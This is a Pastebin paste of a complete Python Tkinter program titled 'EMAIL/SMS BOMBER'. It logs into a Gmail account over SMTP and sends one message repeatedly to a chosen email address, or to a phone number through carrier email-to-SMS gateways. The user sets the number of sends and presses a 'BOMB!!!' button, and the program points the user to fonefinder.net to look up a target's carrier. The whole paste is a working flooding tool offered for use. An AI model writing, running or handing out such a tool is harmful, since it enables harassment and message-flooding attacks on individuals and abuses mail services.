Guest User

Untitled

a guest
Dec 1st, 2018
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #EMAIL/SMS BOMBER
  2.  
  3. import smtplib,tkMessageBox
  4. from Tkinter import *
  5.  
  6. server = smtplib.SMTP('smtp.gmail.com:587')
  7. server.ehlo()
  8. server.starttls()
  9. server.ehlo()
  10.  
  11. class window():
  12.     carrier = {
  13.         '1':'@message.alltel.com',
  14.         '2':'@txt.att.net',
  15.         '3':'@myboostmobile.com',
  16.         '4':'@messaging.nextel.com',
  17.         '5':'@messaging.sprintpcs.com',
  18.         '6':'@tmomail.net',
  19.         '7':'@vtext.com',
  20.         '8':'@vmobl.com'
  21.         }
  22.     def smsbomber(self):
  23.         self.amt = int(self.numtxt.get())
  24.         self.zero = 0
  25.         if '@gmail.com' not in self.usr:
  26.             self.usr = self.usr+'@gmail.com'
  27.         try:
  28.             while self.zero < self.amt:
  29.                 self.zero += 1
  30.                 server.sendmail(str(self.usr),str(self.rectxt.get())+self.carrier.get(self.car.get()),str(self.msgtxt.get()))
  31.             done = tkMessageBox.showinfo('Done','Done!')
  32.         except smtplib.SMTPRecipientsRefused:
  33.             tkMessageBox.showerror('Error','Check "Send to" box.')
  34.     def bomber(self):
  35.         self.amt = int(self.numtxt.get())
  36.         self.zero = 0
  37.         if '@gmail.com' not in self.usr:
  38.             self.usr = self.usr+'@gmail.com'
  39.         try:
  40.             while self.zero < self.amt:
  41.                 self.zero += 1
  42.                 server.sendmail(str(self.usr),str(self.rectxt.get()),str(self.msgtxt.get()))
  43.             done = tkMessageBox.showinfo('Done','Done!')
  44.         except smtplib.SMTPRecipientsRefused:
  45.             tkMessageBox.showerror('Error','Check "Send to" box.')
  46.                
  47.     def email(self):
  48.         self.window.destroy()
  49.         self.emailframe = Tk()
  50.         self.emailframe.title('Email Bomber')
  51.         self.reclbl = Label(self.emailframe,text='Send to: ')
  52.         self.reclbl.grid(row=0,column=0)
  53.         self.rectxt = Entry()
  54.         self.rectxt.grid(row=0,column=1)
  55.         self.msglbl = Label(self.emailframe,text='MSG: ')
  56.         self.msglbl.grid(row=1,column=0)
  57.         self.msgtxt = Entry()
  58.         self.msgtxt.grid(row=1,column=1)
  59.         self.numlbl = Label(self.emailframe,text='Amount to send: ')
  60.         self.numlbl.grid(row=2,column=0)
  61.         self.numtxt = Entry()
  62.         self.numtxt.grid(row=2,column=1)
  63.         self.bomb = Button(self.emailframe,text='BOMB!!!',command=self.bomber)
  64.         self.bomb.grid(row=3,column=3)
  65.         self.emailframe.mainloop()
  66.        
  67.     def sms(self):
  68.         self.window.destroy()
  69.         self.smsframe = Tk()
  70.         self.smsframe.title('SMS Bomber')
  71.         self.ff = Label(self.smsframe,text='Go to fonefinder.net to find carrier')
  72.         self.ff.grid(row=0)
  73.         self.carlbl = Label(self.smsframe,text='1. Alltell\n2. AT&T\n3. BoostMobile\n4. SprintNextel(@nextel.com)\n5. SprintNextel(@sprintpcs.com)\n6. T-Mobile\n7. Verizon\n8. VirginMobile')
  74.         self.carlbl.grid(row=1,column=4)
  75.         self.car = Spinbox(self.smsframe,from_=1,to=8)
  76.         self.car.grid(row=3,column=4)
  77.         self.reclbl = Label(self.smsframe,text='10 Digit Number: ')
  78.         self.reclbl.grid(row=3,column=0)
  79.         self.rectxt = Entry()
  80.         self.rectxt.grid(row=3,column=1)
  81.         self.msglbl = Label(self.smsframe,text='MSG: ')
  82.         self.msglbl.grid(row=4,column=0)
  83.         self.msgtxt = Entry()
  84.         self.msgtxt.grid(row=4,column=1)
  85.         self.numlbl = Label(self.smsframe,text='Amount: ')
  86.         self.numlbl.grid(row=5,column=0)
  87.         self.numtxt = Entry()
  88.         self.numtxt.grid(row=5,column=1)
  89.         self.bomb = Button(self.smsframe,text='BOMB!!!',command=self.smsbomber)
  90.         self.bomb.grid(row=5,column=4)
  91.         self.smsframe.mainloop()
  92.        
  93.        
  94.     def Login(self):
  95.         self.usr = self.usrtext.get()
  96.         self.psw = self.passtext.get()
  97.         try:
  98.             server.login(self.usr,self.psw)
  99.             self.login.destroy()
  100.             self.email = Button(self.window,text='EMAIL',command=self.email)
  101.             self.email.grid(row=3,column=0)
  102.             self.sms = Button(self.window,text='SMS',command=self.sms)
  103.             self.sms.grid(row=3,column=1)
  104.         except smtplib.SMTPAuthenticationError:
  105.             tkMessageBox.showerror('Error','Invalid Username/Password')
  106.            
  107.     def __init__(self,master=None):
  108.         self.window = Tk()
  109.         self.window.title('BOMBz')
  110.         self.login = Button(self.window,text='LOGIN',command=self.Login)
  111.         self.login.grid(row=3,column=1)
  112.         self.usrlabel = Label(self.window,text='GMAIL:')
  113.         self.usrlabel.grid(row=0,column=0)
  114.         self.usrtext = Entry()
  115.         self.usrtext.grid(row=0,column=1)
  116.         self.passlabel = Label(self.window,text='PASSWORD:')
  117.         self.passlabel.grid(row=1,column=0)
  118.         self.passtext = Entry(show="*")
  119.         self.passtext.grid(row=1,column=1)
  120.         self.window.mainloop()
  121.  
  122.  
  123. window()
Add Comment
Please, Sign In to add comment